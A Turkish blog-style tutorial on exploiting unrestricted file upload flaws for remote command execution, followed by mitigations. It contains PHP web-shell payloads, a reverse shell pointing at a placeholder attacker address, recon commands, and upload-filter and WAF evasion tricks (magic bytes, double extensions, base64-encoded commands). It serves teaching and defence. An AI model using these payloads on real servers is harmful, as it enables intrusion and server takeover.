Unrestricted File Upload ve Koruma Mekanizmalarını Bypass Etme: Teknik Detaylar ve Yöntemler

Unrestricted File Upload ve Koruma Mekanizmalarını Bypass Etme: Teknik Detaylar ve Yöntemler

Unrestricted File Upload to Remote Command Execution (RCE) Saldırısı

Web uygulamalarında "Unrestricted File Upload" (Sınırsız Dosya Yükleme) zafiyeti, saldırganların güvenli olmayan dosyalar yüklemesine ve sunucuda komut çalıştırmasına yol açabilir. Bu zafiyet, genellikle dosya yükleme işlevlerinin yetersiz doğrulama yapmasından kaynaklanır. Saldırgan, bu durumu kötüye kullanarak sistem üzerinde Remote Command Execution (RCE) gerçekleştirebilir.

1. Dosya Yükleme Zafiyeti Nasıl Tespit Edilir?

Web uygulamalarında kullanıcılar profil resmi, belge veya dosya yükleme gibi işlevleri kullanır. Eğer dosya türü, uzantısı veya içeriği yeterince kontrol edilmiyorsa, saldırganlar yürütülebilir dosyalar yükleyebilir.

Örnek PHP Kötü Amaçlı Dosyası:

<?php echo "System Info: "; echo shell_exec('whoami'); ?>

Bu örnekte, sunucu üzerinde whoami komutunu çalıştırarak sistem kullanıcı bilgilerini elde ediyoruz.

2. Saldırının Aşamaları

Bu tür bir zafiyeti kullanarak saldırganın neler yapabileceğini adım adım inceleyelim:

Adım 1: Dosya Yükleme

Saldırgan, .php uzantılı bir dosyayı yükleyerek sunucuya zararlı kod gönderir. Yüklenen dosyanın yolu doğrudan tarayıcıdan erişilebilir olmalıdır (örneğin: http://example.com/uploads/malicious.php).

Adım 2: Komut Çalıştırma

Yüklenen dosya çalıştırıldığında saldırgan, sunucu üzerinde istediği komutları yürütür. Örneğin:

whoami uname -a ls -la /etc/

Bu komutlar, sistem bilgilerini ve kullanıcı yetkilerini toplamak için kullanılabilir.

3. Reverse Shell ile Tam Erişim

Saldırgan, sunucuyu ele geçirdikten sonra bir reverse shell açarak tam erişim elde edebilir. Aşağıdaki PHP kodu, saldırganın sistemine geri bağlantı kurar:

<?php $sock = fsockopen("Saldirgan_IP_adresi", Saldirgan_Portu); exec("/bin/sh -i <&3 >&3 2>&3"); ?>

4. Korunma Yöntemleri

Web uygulamalarını bu tür saldırılardan korumak için çeşitli yöntemler uygulanabilir:

Dosya Türü ve Uzantısı Kontrolü

Yüklenen dosyanın sadece belirli dosya türlerine (örneğin resim, PDF) izin verilmelidir. Ayrıca, dosya uzantısı sadece belirtilen güvenli uzantılarla sınırlanmalıdır.

MIME Tipi Doğrulaması

Yüklenen dosyanın MIME tipi kontrol edilmelidir. Ancak, saldırganlar bu kontrolü atlatabilir, bu yüzden ek doğrulamalar yapılmalıdır.

Dosya İsimlerini Rastgeleleştirme

Yüklenen dosyaların isimleri rastgele hale getirilmelidir. Bu şekilde saldırgan, dosyanın adını tahmin edemez ve dosyayı çalıştıramaz.

Yüklenen Dosyaların Erişilebilirliğini Sınırlama

Yüklenen dosyalar, sunucunun root dizininden uzakta bir yerde depolanmalı ve bu dosyalara direkt erişim kısıtlanmalıdır.

Web Application Firewall (WAF) Kullanımı

WAF, kötü niyetli dosya yüklemelerini tespit edip engelleyebilir. Uygun kurallar yazılarak yüklenen dosyalar üzerinde ek bir güvenlik katmanı oluşturulabilir.

Dosya Yükleme Koruma Mekanizmalarını Bypass Etme Yöntemleri

Pek çok web uygulaması, dosya yükleme işlemlerine karşı çeşitli güvenlik önlemleri alır. Ancak, bu önlemler saldırganlar tarafından atlatılabilir. Aşağıda, yaygın koruma mekanizmalarının nasıl atlatılabileceğine dair bazı yöntemler verilmiştir:

1. MIME Tipi Manipülasyonu

Yüklenen dosyanın MIME tipi kontrol ediliyorsa, bu tip manipüle edilebilir. Burp Suite kullanarak HTTP isteği üzerinde aşağıdaki değişikliği yapabilirsiniz:

Content-Type: image/jpeg

Ancak içerik olarak zararlı bir PHP kodu gönderilebilir:

<?php system($_GET['cmd']); ?>

2. Çift Uzantı Kullanımı

Dosya uzantısı kontrolü zayıf olan sistemlerde, dosya adı şu şekilde değiştirilebilir: malicious.php.jpg. Sunucu bu dosyayı PHP olarak çalıştırabilir.

3. Magic Bytes Manipülasyonu

Uygulama dosya içeriğini kontrol etmek için "magic bytes" kullanıyorsa, zararlı kod magic bytes ile gizlenebilir:

\xFF\xD8\xFF\xE0 // JPEG magic bytes <?php system($_GET["cmd"]); ?>

4. PHP Wrapper'ları ile Bypass

PHP'nin sunduğu php://input ve

data://

wrapper'ları kullanılarak dosya yüklemeden de kod çalıştırılabilir:

<?php include 'data://text/plain;base64,' . base64_encode('<?php system($_GET["cmd"]); ?>'); ?>

5. WAF ve Diğer Güvenlik Filtrelerini Atlatma

Web Application Firewall (WAF) ve diğer güvenlik filtreleri saldırıları algılayıp engelleyebilir. Bu durumlarda aşağıdaki yöntemlerle bypass yapılabilir:

Karakter Ekleme/Çıkarma

Komutları bölerek WAF’ı atlatabilirsiniz:

sy\ste\m('ls');

Base64 Kodlama

Komutları Base64 kodlayarak WAF'tan saklayabilirsiniz:

<?php system(base64_decode('bHMgLWxh')); ?>

Bu komut, Base64 kodlanmış ls -la komutunu çözerek çalıştırır.

Sonuç

Unrestricted File Upload zafiyeti, saldırganlar tarafından Remote Command Execution (RCE) saldırılarına dönüştürülebilir. Koruma mekanizmaları her zaman yeterli değildir ve doğru tekniklerle atlatılabilir. Uygulamalar, dosya türü ve içeriği kontrollerini sıkılaştırmalı, dosya yürütmeyi engellemeli ve WAF gibi ekstra güvenlik katmanları kullanmalıdır.

Koruma mekanizmaları her zaman yeterli olmayabilir. Saldırganlar çeşitli yöntemlerle bu korumaları atlatabilir. Uygulama geliştiricilerinin, yükleme işlemlerine yönelik sıkı güvenlik önlemleri alması, dosya türü ve içeriği doğrulamasını yapması ve WAF gibi ekstra güvenlik katmanları kullanması gerekmektedir.

Yorumlar